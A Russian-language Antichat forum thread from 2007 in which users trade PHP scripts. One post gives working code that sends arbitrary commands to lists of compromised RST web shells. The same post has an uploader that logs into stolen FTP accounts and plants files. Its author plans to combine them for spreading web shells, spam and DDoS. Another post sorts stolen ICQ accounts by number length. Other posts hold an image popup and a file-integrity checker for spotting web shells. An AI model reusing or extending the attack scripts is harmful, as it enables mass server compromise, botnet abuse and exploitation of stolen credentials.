Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.12.2007, 22:10
|
|
Познающий
Регистрация: 18.10.2006
Сообщений: 42
Провел на форуме: 119338
Репутация:
3
|
|
Автосерфинг:
ExchangeVisits v 3.00
Скачать
|
|
|

07.12.2007, 12:53
|
|
Познающий
Регистрация: 22.03.2007
Сообщений: 45
Провел на форуме: 110666
Репутация:
9
|
|
Код, попап изображения.
Главное его свойство, это то что нет зазоров в открываемом окне. Фотка выводиться как есть.
Очень удобно. Можно внедрить в PHP, и забыть о том, что фотки открываются в новом окне, или в некрасивом виде.
Код:
/**
Кроссбраузерный JavaScript-код
Проверено в: NN9,FF2&3,Opera,IE7
*/
timeout = 0;
function Start(URL, WIDTH, HEIGHT) {
windowprops = "width=" + (WIDTH+2) + ",height=" + (HEIGHT+2);
text = "<html><head><title>Image</title></head><body bgcolor='#dddddd' style='padding: 1px; margin: 0'";
if (timeout != 0) text +=" onLoad=\"setTimeout('window.close()', " + timeout*1000 + ");\"";
text += "><center><img src='" + URL + "'>";
if (timeout != 0) text +="<br><font face='Tahoma, helvetica' size='-1'>Preview closes after " + timeout + " seconds.</font>";
text += "</center></body></html>";
preview = window.open("", "preview", windowprops);
preview.document.open();
preview.document.write(text);
preview.document.close();
}
вызов функции:
Код:
<a href="javascript:Start('большая_фотка.jpg', 600, 450)";><img src="маленькая_фотка.jpg" alt="Альт"/></a>
|
|
|

09.12.2007, 14:41
|
|
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме: 1982081
Репутация:
1067
|
|
может пригодиться счастливым обладателям большого колличества rst шеллов (которые кстати по гуглу насобирать без проблем можно). просто кидаете список с шеллами в файл и задаете команду в скрипте. функционал может быть дополнен до безграничности. можете загружать на хосты скрипты и выполнять их (например спамскрипты). в общем фантазия вам в помощь для дальнейших модификаций. скрипт работает по принципу cyber ddos system. в частности это его немного передаланная версия, оптимизированы некоторые участки кода + убрана часть в которой идет загрузка перлового ддосера. в общем расширена специализация скрипта.
тестировалось на rst шеллах версии 1.31
PHP код:
<?php
//rst mass cmd executer by .::Gh0st::.
//[1]define
$shells = "shells.txt";
$cmd = "id";
//end of [1]
//[2]get shells list
$handle = fopen($shells, "r");
$buffer = fread($handle, filesize($shells));
fclose($handle);
//end of [2]
function post($post , $method, $host, $port, $path, $header)
{
$params = "";
if ($method == "POST")
{
foreach ($post as $name => $val)
{
if ($params == "")
{
$params = $name."=".$val;
}
else
{
$params = $params."&".$name."=".$val;
}
}
$post = "POST ".$path." HTTP/1.0\r\n";
$post .= "Host: $host\r\n";
$post .= $header;
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post .= "Content-Length: ".strlen($params)."\r\n\r\n";
$post .= "$params\r\n\r\n";
}
$fp = fsockopen($host, $port, $errno, $errstr, 5);
if(!$fp){ echo "$errstr ($errno)<br>\n"; }
else
{
fputs($fp, $post);
$result = "";
while(!feof($fp)) { $result .= fgets($fp,128);}
fclose($fp);
}
return $result;
}
$header = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Referer: http://".$host.$path."\r\n";
$post_data = array ("php_eval" => $cmd, "dir" => "", "cmd" => "php_eval", "submit" => "go",);
//sending command
$buffer = explode("\n", $buffer);
for($i=0; $i < count($buffer); $i++)
{
if (!empty($buffer[$i]))
{
$shell = explode("/", $buffer[$i]);
$host = $shell[2];
$dir = preg_split('/http:\/\/|\//i', $buffer[$i], 3);
$path = "/".$dir[2];
$content = post($post_data, "POST", $host, 80, $path, $header);
flush();
$pos = strpos($content, 'safe_mode: <b><font color=red>OFF');
if ($pos === false)
{
echo "<center><font color=red>$host not work (maybe save safe_mode=on)</font></center>";
}
else
{
echo "<center><font color=blue>$host</font> command executed</center>";
}
}
}
//end of sending command
php?>
насчет заливщика, я писал как-то заливщик для фтп-акков, но у него очень слабый функционал. он заливает в какую-либо конкретно указанную директорию.
PHP код:
<?
set_time_limit(0);
error_reporting(0);
ignore_user_abort(1);
$upl = 'jupra.php'; # file to upload
$ftp = 'good.txt'; # input list
$dir1 = 'images'; # directory to upload
$dir2 = 'avatars'; # deeper directory to upload
echo "<b>[*]task started</b><br>";
$handleftp = fopen($ftp,'r');
while (!feof($handleftp))
{
$buffer = fgets($handleftp);
$buffer = explode('@',$buffer);
$host = trim($buffer[1]);
$buffer = explode(':',$buffer[0]);
$pass = $buffer[2];
$buffer = explode('/',$buffer[1]);
$logn = $buffer[2];
$connect = ftp_connect($host,21,30);
if ($connect === false)
{}
else
{
if (ftp_login($connect,$logn,$pass) === false)
{}
else
{
ftp_chdir($connect,'public_html');
ftp_mkdir($connect,$dir1);
ftp_chdir($connect,$dir1);
ftp_mkdir($connect,$dir2);
ftp_chdir($connect,$dir2);
$handle = fopen($upl,'r');
if (ftp_fput($connect, $upl, $handle, FTP_ASCII))
{
$good = fopen('uploaded.txt','a');
$string = "http://$host/$dir1/$dir2/$upl\r\n";
fwrite($good,$string);
fclose($good);
echo $string;
}
else {echo "error uploading\r\n";}
fclose($handle);
}
ftp_close($connect);
}
}
fclose($handleftp);
echo '<b>[*]task finished</b>';
?>
ни много ни мало, мы уже получаем аналог продаваемого софта от sboy (ессно более слабого). в дальнейшем я хочу оптимизировать код заливщика (поиск директорий и заливать файл как-можно подальще, чтобы не спалили админы) и код скрипта исполняющего команды, ну и объединить их ессно. получится такой кроссплатформенный скриптег, через который можно будет залить на список фтп веб-шеллы, а потом им передавать любые команды (заливка скрипта и его исполнение (спам / ддос).
только 1 вопрос волнует - кого-нить это вообще интересует?
Последний раз редактировалось .::Gh0st::.; 09.12.2007 в 14:56..
|
|
|

10.12.2007, 01:05
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Вот скрипт для защиты от измененных/удаленных файлов и залитых веб шеллов, не панацея но все же.
Скрипт сканирует все файлы/папки начиная от папки в которой лежит скрипт и пишет результат в файл data.txt. В котором будут хранится имена каталогов+все файлы в этом каталоге с их контрольной суммой.
Ну а затем скрипт сверяется со снимком и на основании отсутствия файла/измененной контрольной суммы/отсутствия записи о файле делает выводы о том что файл был удален/изменен/создан. Также заодно и происходит сканирование на созданные/удаленные папки...
Собственно например создали сайт, довели до ума - он работает, делаем снимок, сливаем с хоста data.txt и сохраняем этот файл у себя на компе(с хоста удаляем!)...
Затем через месяцок узнаем что этот сайт взломали, ну а хацкеров есть привычка еще и лить веб шелл, и иногда троянить скрипты. Ну чтобы не парится и не просматривать каждый файл, мы сканируем скриптом хост, и он выдаст все веб шеллы с головой
PHP код:
<?php
set_time_limit(0);
ignore_user_abort(true);
function new_scan_dir($catalog){
$cat_file='';
$cat_file[$catalog]='';
$dir = opendir ($catalog);
$i=0;
$filesh='';
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
if(filetype($catalog.'/'.$file)==='file')$cat_file[$catalog].=urlencode($file).':'.md5(implode('',file($catalog.'/'.$file))).'>';
if((filetype($catalog.'/'.$file)==='dir')){
foreach(new_scan_dir($catalog.'/'.$file) as $key => $value){
$cat_file[$key]=$value;
}
}
$filesh.=$catalog.'/'.$file.'
';
if($i===5){
echo($filesh);
flush();
$filesh='';
$i=0;
}
$i++;
}
}
closedir ($dir);
return $cat_file;
}
function scan_dir($all_files,$catalog){
$ret='';
$ent='
';
if(file_exists($catalog)){
if(array_key_exists($catalog, $all_files)){
if(!empty($all_files[$catalog])){
$now_dir1=explode('>',$all_files[$catalog]);
foreach($now_dir1 as $value){
$now_dir2=explode(':',$value);
$now_dir[urldecode($now_dir2[0])]=$now_dir2[1];
}
foreach($now_dir as $key => $value){
if(file_exists($catalog.'/'.$key)){
if(md5(implode('',file($catalog.'/'.$key)))!=$value)$ret.='Файл "'.$catalog.'/'.$key.'" был изменен.'.$ent;
}else $ret.='Файл "'.$catalog.'/'.$key.'" был удаленн.'.$ent;
}
$dir = opendir ($catalog);
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
if((filetype($catalog.'/'.$file)==='dir'))$ret.=scan_dir($all_files,$catalog.'/'.$file);
if((filetype($catalog.'/'.$file)==='file')){
if(!array_key_exists($file, $now_dir))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
}
}
}
closedir ($dir);
}else{
$dir = opendir ($catalog);
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
if((filetype($catalog.'/'.$file)==='dir')){
if(!array_key_exists($catalog.'/'.$file, $all_files))$ret.='Папка "'.$catalog.'/'.$file.'" была создана'.$ent;
else $ret.=scan_dir($all_files,$catalog.'/'.$file);
}
if((filetype($catalog.'/'.$file)==='file'))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
}
}
closedir ($dir);
}
}else $ret.='Папка "'.$catalog.'" была созданна.'.$ent;
}else $ret.='Папка "'.$catalog.'" была удаленна.'.$ent;
return $ret;
}
function scan_d_dir($all_files){
$ret='';
$ent='
';
foreach($all_files as $key => $value){
if(!file_exists($key))$ret.='Папка "'.$key.'" была удалена'.$ent;
}
return $ret;
}
$ent='
';
if(!empty($_GET['do'])){
if($_GET['do']==='new'){
echo('<pre>');
echo('Создание снимка...'.$ent);
$save_text='';
foreach(new_scan_dir('.') as $key => $value){
$save_text.=urlencode($key).'=>'.substr($value,0,strlen($value)-1).$ent;
}
$save_text=substr($save_text,0,strlen($save_text)-2);
$file = fopen ('data.txt','w');
fputs ( $file, $save_text);
fclose ($file);
echo('Снимок сделан...');
echo('</pre>');
}elseif($_GET['do']==='scan'){
if(file_exists('data.txt')){
$files=explode($ent,implode('',file('data.txt')));
foreach($files as $value){
$now_dir=explode('=>',$value);
$all_files[urldecode($now_dir[0])]=$now_dir[1];
}
echo('<pre>'.scan_dir($all_files,'.').scan_d_dir($all_files).'</pre>');
}
}
}
echo('<hr>
<input type="submit" value="Сделать снимок" onclick="document.location.replace(\'?do=new\')"><br>
<input type="submit" value="Сканировать" onclick="document.location.replace(\'?do=scan\')">');
?>
Вот полученный снимок:
Код:
.=>index.php:44ecd2d513e0faec7acfff7f849f7e70>data.txt:c1fe1feab40f6853be5d0555f33d596c
.%2F1=>1%F2.txt:d41d8cd98f00b204e9800998ecf8427e
.%2F1%2F2=>
.%2F1%2F2%2F3=>
.%2F1%2F2%2F3%2F4=>
.%2F1%2F2%2F3%2F4%2F5=>
.%2F1%2F2%2F3%2F4%2F5%2F6=>1.txt:e11170b8cbd2d74102651cb967fa28e5
ЗЫ Люди кто поюзал/юзает напишите нравится оно вам или нет какие минусы/плюсы, только без наркоманской критики
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 10.12.2007 в 01:09..
|
|
|

10.12.2007, 01:52
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.
|
|
|

10.12.2007, 02:01
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Сообщение от astrologer
1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется 
__________________
Кто я?..
|
|
|

10.12.2007, 02:25
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Сообщение от I-I()/Ib
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется 
1) Скрипт находится на одном уровне с директориями:
test
cache
файлами, которые в данный момент значения не имееют. Обе директории пусты.
Делаем снимок и сканируем:
Код:
Notice: Undefined offset: 1 in y:\home\z.z\www\test.php on line 43
Warning: implode() [function.implode]: Bad arguments. in y:\home\z.z\www\test.php on line 47
Файл "./data.txt" был изменен.
Файл "./test/ " был изменен.
data.txt - всё верно.
Директория test не изменялась.
2) Да понятно, что data.txt меняется)
Оставляем только одну поддиректорию - "cache". В ней создаем файл 1.txt
Делаем снимок и сканируем, получаем:
Файл "./data.txt" был изменен. - верно
Файл "./cache/1.txt" был изменен. ?
Последний раз редактировалось astrologer; 10.12.2007 в 02:27..
|
|
|

10.12.2007, 02:30
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 10.12.2007 в 02:34..
|
|
|

11.12.2007, 12:18
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Сообщение от I-I()/Ib
Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?
Если больше ни у кого не проявляется, то неважно.
С правами точно проблем нет
|
|
|

12.12.2007, 11:07
|
|
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме: 5812656
Репутация:
1540
|
|
Скрипт разбивки угнанных асег по файлам:
PHP код:
<?php
$r=";"; //разделитель
$f=file("source.txt"); //файл с аськами
$si=fopen("6.txt","a+"); //шохи
$s=fopen("7.txt","a+"); //семёрки
$e=fopen("8.txt","a+"); //восьмёры
$n=fopen("9.txt","a+"); //девятки
$o=fopen("o.txt","a+"); //остальное
for($i=0;$i<count($f);$i++)
{
$l=explode($r,trim($f[$i]));
switch(strlen($l[0]))
{
case 6: fwrite($si,$f[$i]);break;
case 7: fwrite($s,$f[$i]);break;
case 8: fwrite($e,$f[$i]);break;
case 9: fwrite($n,$f[$i]);break;
default: fwrite($o,$f[$i]);break;
}
}
fclose($si);
fclose($s);
fclose($e);
fclose($n);
fclose($o);
?>
Последний раз редактировалось scrat; 30.12.2007 в 00:00..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|